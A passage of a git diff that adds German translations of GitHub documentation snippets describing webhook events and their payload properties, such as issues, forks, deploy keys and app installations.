--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/check_suite_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 884a76854a09eb1ff5ee2d6ecb8728d40190cbce
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066203"
+---
+Prüfsuitenaktivität ist aufgetreten. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Prüfsuiten](/rest/reference/checks#suites).
diff --git a/translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_properties.md b/translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_properties.md
new file mode 100644
index 0000000000..210b2603d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_properties.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 0d90cfeda767e8df43964320baab50350a1d8ae4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145085431"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` | `string` | Die durchgeführte Aktion. Hierbei kann es sich um `created`, `reopened_by_user`, `closed_by_user`, `fixed`, `appeared_in_branch` oder `reopened` handeln.
+`alert` | `object` | Die Codeüberprüfungswarnung im Zusammenhang mit dem Ereignis.
+`ref` | `string` | Der Git-Verweis auf die Codeüberprüfungswarnung. Wenn die Aktion `reopened_by_user` oder `closed_by_user` lautet, wurde das Ereignis durch den `sender` ausgelöst, und dieser Wert ist leer.
+`commit_oid` | `string` | Commit-SHA der Codeüberprüfungswarnung. Wenn die Aktion `reopened_by_user` oder `closed_by_user` lautet, wurde das Ereignis durch den `sender` ausgelöst, und dieser Wert ist leer.
diff --git a/translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_short_desc.md b/translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_short_desc.md
new file mode 100644
index 0000000000..3a8dbee3e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/code_scanning_alert_event_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cc88fa011d7d38ff839c8704cfa54f4e32248e29
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085428"
+---
+Aktivitäten im Zusammenhang mit Codeüberprüfungswarnungen in einem Repository. Der Aktivitätstyp wird in der action-Eigenschaft des Nutzdatenobjekts angegeben. Weitere Informationen findest du unter [Informationen zu Codeüberprüfungen](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning).
diff --git a/translations/de-DE/data/reusables/webhooks/commit_comment_properties.md b/translations/de-DE/data/reusables/webhooks/commit_comment_properties.md
new file mode 100644
index 0000000000..c4d6d40519
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/commit_comment_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 8deeff67d6d1d2563afaf8d7d3604a6ec8e6732b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085424"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die ausgeführte Aktion. Kann `created` sein.
+`comment`|`object` | Die [Commitkommentarressource](/rest/reference/commits#get-a-commit-comment).
diff --git a/translations/de-DE/data/reusables/webhooks/commit_comment_short_desc.md b/translations/de-DE/data/reusables/webhooks/commit_comment_short_desc.md
new file mode 100644
index 0000000000..2a4efd21f6
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/commit_comment_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f854ca7eaa31e3104624176968823d5faaa8f8cc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881972"
+---
+Ein Commitkommentar wird erstellt. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der [Commitkommentar](/rest/reference/repos#comments)-REST-API.
diff --git a/translations/de-DE/data/reusables/webhooks/content_reference_short_desc.md b/translations/de-DE/data/reusables/webhooks/content_reference_short_desc.md
new file mode 100644
index 0000000000..524415c227
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/content_reference_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d1a09b2e8dda10045be7d37028096da448a3750c
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881988"
+---
+Ein neuer Inhaltsverweis ist `created`. Ein neuer Inhaltsverweis wird erstellt, wenn der Textkörper oder der Kommentar eines Issues oder eines Pull Requests eine URL enthält, die einer konfigurierten Inhaltsverweisdomäne entspricht. Weitere Informationen findest Du unter „[Verwenden von Inhaltsanlagen](/apps/using-content-attachments/)“, um mehr über Inhaltsverweise und Anlagen zu erfahren.
diff --git a/translations/de-DE/data/reusables/webhooks/content_type.md b/translations/de-DE/data/reusables/webhooks/content_type.md
new file mode 100644
index 0000000000..e5e01d21f2
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/content_type.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: af18d54a50f016bdd0e475e40b31c74784788025
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145085419"
+---
+Webhooks können mithilfe unterschiedlicher Inhaltstypen übermittelt werden:
+
+- Der Inhaltstyp `application/json` bietet die JSON-Nutzdaten direkt als Text der `POST`-Anforderung.
+- Der Inhaltstyp `application/x-www-form-urlencoded` sendet die JSON-Nutzdaten als Formularparameter namens `payload`.
+
+Wähle die Einstellung aus, die deinen Anforderungen entspricht.
diff --git a/translations/de-DE/data/reusables/webhooks/create_properties.md b/translations/de-DE/data/reusables/webhooks/create_properties.md
new file mode 100644
index 0000000000..b5c19b6b40
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/create_properties.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 6c1ccaa4f59b43221657c906ca9eb35a9aa768ff
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147066762"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`ref`|`string` | Die Ressource [`git ref`](/rest/reference/git#get-a-reference).
+`ref_type`|`string` | Der Typ des Git-Ref-Objekts, das im Repository erstellt wurde. Kann entweder `branch` oder `tag` sein.
+`master_branch`|`string` | Der Name des Standardbranchs des Repositorys (normalerweise `main`).
+`description`|`string` | Die aktuelle Beschreibung des Repositorys.
diff --git a/translations/de-DE/data/reusables/webhooks/create_short_desc.md b/translations/de-DE/data/reusables/webhooks/create_short_desc.md
new file mode 100644
index 0000000000..384cf774e7
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/create_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7542c620a5e877add1782c1986d94bd40c75983c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085415"
+---
+Ein Git-Branch oder -Tag wird erstellt. Weitere Informationen findest du in der REST-API für die [Git-Datenbank](/rest/reference/git#create-a-reference).
diff --git a/translations/de-DE/data/reusables/webhooks/delete_properties.md b/translations/de-DE/data/reusables/webhooks/delete_properties.md
new file mode 100644
index 0000000000..0b6de1a247
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/delete_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: ba26ecd74a774d66712c9660cf1824ee91d0b082
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881964"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`ref`|`string` | Die Ressource [`git ref`](/rest/reference/git#get-a-reference).
+`ref_type`|`string` | Der Typ des Git-Objekts „ref“, das im Repository gelöscht wurde. Kann entweder `branch` oder `tag` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/delete_short_desc.md b/translations/de-DE/data/reusables/webhooks/delete_short_desc.md
new file mode 100644
index 0000000000..c1c904d0e6
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/delete_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ab5f028c76a9af4321ae874413ca46b1186258ed
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876781"
+---
+Ein Git-Branch oder -Tag wird gelöscht. Weitere Informationen findest du in der REST-API für die [Git-Datenbank](/rest/reference/git#delete-a-reference).
diff --git a/translations/de-DE/data/reusables/webhooks/deploy_key_properties.md b/translations/de-DE/data/reusables/webhooks/deploy_key_properties.md
new file mode 100644
index 0000000000..590065ed31
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/deploy_key_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 08a63ae6bd345d180669abb953975aeadacf2faa
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145085392"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die ausgeführte Aktion. Kann entweder `created` oder `deleted` sein.
+`key` |`object` | Die Ressource [`deploy key`](/rest/reference/deployments#get-a-deploy-key).
diff --git a/translations/de-DE/data/reusables/webhooks/deploy_key_short_desc.md b/translations/de-DE/data/reusables/webhooks/deploy_key_short_desc.md
new file mode 100644
index 0000000000..93c0ca57b5
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/deploy_key_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7339240281aca563ec46d3763d281aed52a9b22a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145085388"
+---
+Ein Bereitstellungsschlüssel wird einem Repository hinzugefügt oder daraus entfernt. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API unter [Bereitstellen von Schlüsseln](/rest/reference/repos#keys).
diff --git a/translations/de-DE/data/reusables/webhooks/deployment_short_desc.md b/translations/de-DE/data/reusables/webhooks/deployment_short_desc.md
new file mode 100644
index 0000000000..f87f4d4ebe
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/deployment_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 41fb70aa2e89cbd2a41c400ae797e265da2fe7b6
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881980"
+---
+Eine Bereitstellung wird erstellt. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für „[Bereitstellungen](/rest/reference/deployments#list-deployments)“.
diff --git a/translations/de-DE/data/reusables/webhooks/deployment_status_short_desc.md b/translations/de-DE/data/reusables/webhooks/deployment_status_short_desc.md
new file mode 100644
index 0000000000..dd67e6c6d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/deployment_status_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4acf7bd889b92b0ee72376b2cc8ae3e037bead97
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145085383"
+---
+Eine Bereitstellung wird erstellt. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Bereitstellungen](/rest/reference/repos#deployments).
diff --git a/translations/de-DE/data/reusables/webhooks/discussion_desc.md b/translations/de-DE/data/reusables/webhooks/discussion_desc.md
new file mode 100644
index 0000000000..7b3924797e
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/discussion_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: db1277d1125c315b1a6a202b714a7faf54721a0e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147081104"
+---
+`discussion` | `object` | Die Ressource [`discussion`](/graphql/guides/using-the-graphql-api-for-discussions#discussion).
diff --git a/translations/de-DE/data/reusables/webhooks/discussions-webhooks-beta.md b/translations/de-DE/data/reusables/webhooks/discussions-webhooks-beta.md
new file mode 100644
index 0000000000..879f4c653c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/discussions-webhooks-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6fbcea209a4c511541e5fa92b7cc15d0c0d30908
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085379"
+---
+{% note %}
+
+**Hinweis:** Webhook-Ereignisse für {% data variables.product.prodname_discussions %} befinden sich derzeit in der Betaversion und können geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/webhooks/enterprise_short_desc.md b/translations/de-DE/data/reusables/webhooks/enterprise_short_desc.md
new file mode 100644
index 0000000000..216d32b3de
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/enterprise_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7cd50cbc6936454c9015c2923d7474ba2712bfdc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085376"
+---
+Ein Website- oder Repositoryadministrator aktiviert oder deaktiviert anonymen Git-Lesezugriff. Weitere Informationen findest du unter [Zulassen der Aktivierung des anonymen Git-Lesezugriffs auf öffentliche Repositorys durch Administratoren](/enterprise/admin/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories). Dieses Ereignis ist in der Ereignis-API nicht verfügbar.
diff --git a/translations/de-DE/data/reusables/webhooks/events_api_payload.md b/translations/de-DE/data/reusables/webhooks/events_api_payload.md
new file mode 100644
index 0000000000..51bf9f60d3
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/events_api_payload.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 481c86dcad299f33fd8ae0cf3db215ad212773d8
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145085375"
+---
+Das [Ereignisobjekt](#event-object-common-properties) enthält Eigenschaften, die für alle Ereignisse verwendet werden. Jedes Ereignisobjekt enthält die `payload`-Eigenschaft, und der Wert ist für jeden Ereignistyp eindeutig. Das `payload`-Objekt für dieses Ereignis wird weiter unten beschrieben.
diff --git a/translations/de-DE/data/reusables/webhooks/fork_properties.md b/translations/de-DE/data/reusables/webhooks/fork_properties.md
new file mode 100644
index 0000000000..e4388ea806
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/fork_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 181b74164ca899dc64ae52500333bb13709c20b4
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876762"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`forkee`|`object` | Die erstellte [`repository`](/rest/reference/repos#get-a-repository)-Ressource.
diff --git a/translations/de-DE/data/reusables/webhooks/fork_short_desc.md b/translations/de-DE/data/reusables/webhooks/fork_short_desc.md
new file mode 100644
index 0000000000..a60b54706c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/fork_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: eeedab24655482507727775731c394ae27dd39ca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145164949"
+---
+Ein Benutzer forkt ein Repository. Weitere Informationen findest du in der „[Forks](/rest/reference/repos#forks)“ REST-API.
diff --git a/translations/de-DE/data/reusables/webhooks/gollum_properties.md b/translations/de-DE/data/reusables/webhooks/gollum_properties.md
new file mode 100644
index 0000000000..29452318ad
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/gollum_properties.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 55d2a154539d7cc6b73f248c5616bd0016a561aa
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145085367"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`pages`|`array` | Die Seiten, die aktualisiert wurden.
+`pages[][page_name]`|`string` | Der Name der Seite.
+`pages[][title]`|`string` |  Der aktuelle Seitentitel.
+`pages[][action]`|`string` |  Die Aktion, die auf der Seite ausgeführt wurde. Kann `created` oder `edited` sein.
+`pages[][sha]`|`string` | Das neueste Commit-SHA der Seite.
+`pages[][html_url]`|`string` | Verweist auf die HTML-Wiki-Seite.
diff --git a/translations/de-DE/data/reusables/webhooks/gollum_short_desc.md b/translations/de-DE/data/reusables/webhooks/gollum_short_desc.md
new file mode 100644
index 0000000000..c8982f9ea9
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/gollum_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 352bdeaf55496ddd5da7262e3c541f7a74f8cc35
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145085351"
+---
+Eine Wiki-Seite wird erstellt oder aktualisiert. Weitere Informationen findest du unter [Informationen zu Wikis](/communities/documenting-your-project-with-wikis/about-wikis).
diff --git a/translations/de-DE/data/reusables/webhooks/installation_properties.md b/translations/de-DE/data/reusables/webhooks/installation_properties.md
new file mode 100644
index 0000000000..96eb7908d6
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/installation_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 2bd293f62b5fcf467c379c315347056245029ff6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085348"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|------------
+`action` | `string` | Die durchgeführte Aktion. Kann eine der folgenden Aktionen sein:<ul><li>`created` – Jemand installiert eine {% data variables.product.prodname_github_app %}.</li><li>`deleted` – Jemand deinstalliert eine {% data variables.product.prodname_github_app %}.</li><li>`suspend` – Jemand sperrt die {% data variables.product.prodname_github_app %}-Installation an.</li><li>`unsuspend` – Jemand entsperrt die {% data variables.product.prodname_github_app %}-Installation.</li><li>`new_permissions_accepted` – Jemand akzeptiert neue Berechtigungen für eine {% data variables.product.prodname_github_app %}-Installation. Wenn ein {% data variables.product.prodname_github_app %}-Besitzer neue Berechtigungen anfordert, muss die Person, die die {% data variables.product.prodname_github_app %} installiert hat, die neue Berechtigungsanforderung akzeptieren. </li></ul>
+`repositories` | `array` | Ein Array von Repositoryobjekten, auf die die Installation zugreifen kann.
diff --git a/translations/de-DE/data/reusables/webhooks/installation_repositories_properties.md b/translations/de-DE/data/reusables/webhooks/installation_repositories_properties.md
new file mode 100644
index 0000000000..864034fc0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/installation_repositories_properties.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 43e874e29bca10faa81fd0f24e4098fe20eab90c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066202"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|------------
+`action` | `string` | Die durchgeführte Aktion. Kann entweder `added` oder `removed` sein.
+`repository_selection` | `string` | Die Auswahl an Repositorys, in denen sich die Installation befindet. Kann entweder `selected` oder `all` sein.
+`repositories_added` | `array` | Ein Array aus Repositoryobjekten, die der Installation hinzugefügt wurden.
+`repositories_removed` | `array` | Ein Array aus Repositoryobjekten, die aus der Installation entfernt wurden.
diff --git a/translations/de-DE/data/reusables/webhooks/installation_repositories_short_desc.md b/translations/de-DE/data/reusables/webhooks/installation_repositories_short_desc.md
new file mode 100644
index 0000000000..998de2165c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/installation_repositories_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8911559888bccc2d46e9e698d4f71a224698a2ca
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085347"
+---
+Aktivitäten im Zusammenhang mit Repositorys, die einer GitHub-App-Installation hinzugefügt werden. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für die [GitHub-App-Installation](/rest/reference/apps).
diff --git a/translations/de-DE/data/reusables/webhooks/installation_short_desc.md b/translations/de-DE/data/reusables/webhooks/installation_short_desc.md
new file mode 100644
index 0000000000..2547bc86f2
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/installation_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c9c5390c972cb69a2b02a59a71a128394752c179
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089028"
+---
+Aktivitäten im Zusammenhang mit einer GitHub App-Installation. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für die [GitHub-App-Installation](/rest/reference/apps).
diff --git a/translations/de-DE/data/reusables/webhooks/issue_comment_properties.md b/translations/de-DE/data/reusables/webhooks/issue_comment_properties.md
new file mode 100644
index 0000000000..bb945a84d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issue_comment_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 48bdd132a0dd2956a88444f85d1a6e06adeaed85
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145085343"
+---
+`changes`|`object` | Die Änderungen am Kommentar, wenn die Aktion `edited` war.
+`changes[body][from]` |`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
+`issue`|`object` | Das [Issue](/rest/reference/issues), zu dem der Kommentar gehört.
+`comment`|`object` | Der [Kommentar](/rest/reference/issues#comments) selbst.
diff --git a/translations/de-DE/data/reusables/webhooks/issue_comment_short_desc.md b/translations/de-DE/data/reusables/webhooks/issue_comment_short_desc.md
new file mode 100644
index 0000000000..c6ba693815
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issue_comment_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: adbfa81086df1afabbb70d5357dec47bb0a68a0f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066199"
+---
+Aktivitäten im Zusammenhang mit einem Issue oder einem Pull Request-Kommentar. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Issuekommentare](/rest/reference/issues#comments).
diff --git a/translations/de-DE/data/reusables/webhooks/issue_comment_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/issue_comment_webhook_properties.md
new file mode 100644
index 0000000000..95859f46a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issue_comment_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 0471d244dfc24ce15dcd98323b44019729f604e1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085340"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die Aktion, die für den Kommentar ausgeführt wurde. Kann `created`, `edited` oder `deleted` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/issue_event_api_properties.md b/translations/de-DE/data/reusables/webhooks/issue_event_api_properties.md
new file mode 100644
index 0000000000..3bae83a830
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issue_event_api_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 0064b9b4385dc3e8dcad7cf8bf6e0ecb083c90b3
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145164837"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Dies kann `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled` oder `unlabeled` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/issue_properties.md b/translations/de-DE/data/reusables/webhooks/issue_properties.md
new file mode 100644
index 0000000000..38c9989fcf
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issue_properties.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 905d4497bb48d1c5bfab91a1bb06389e5cd197e1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066198"
+---
+`issue`|`object` | Das [Issue](/rest/reference/issues) selbst.
+`changes`|`object`| Die Änderungen am Issue, wenn die Aktion `edited` war.
+`changes[title][from]`|`string` | Die vorherige Version des Titels, wenn die Aktion `edited` war.
+`changes[body][from]`|`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
+`assignee`|`object` | Der optionale Benutzer, der dem Problem zugewiesen oder dessen Zuweisung aufgehoben wurde.
+`label`|`object` | Die optionale Bezeichnung, die dem Problem hinzugefügt oder daraus entfernt wurde.
diff --git a/translations/de-DE/data/reusables/webhooks/issue_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/issue_webhook_properties.md
new file mode 100644
index 0000000000..c7b9c849e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issue_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 998e7c618e8a8abb855d6536a8ece5d75921e3f5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085339"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Mögliche Werte: `opened`, `edited`, `deleted`, `pinned`, `unpinned`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled`, `unlabeled`, `locked`, `unlocked`,  `transferred`, `milestoned`, oder `demilestoned`.
diff --git a/translations/de-DE/data/reusables/webhooks/issues_short_desc.md b/translations/de-DE/data/reusables/webhooks/issues_short_desc.md
new file mode 100644
index 0000000000..039c410b0f
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/issues_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f0efd471b85c08dc1a32bfebfe3ecb2fc34496e7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089011"
+---
+Aktivität im Zusammenhang mit einem Issue. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Issues](/rest/reference/issues).
diff --git a/translations/de-DE/data/reusables/webhooks/label_short_desc.md b/translations/de-DE/data/reusables/webhooks/label_short_desc.md
new file mode 100644
index 0000000000..f851ac0bdd
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/label_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 438d5e82d73a5f121b4c15a0d03ac5d2b4f44076
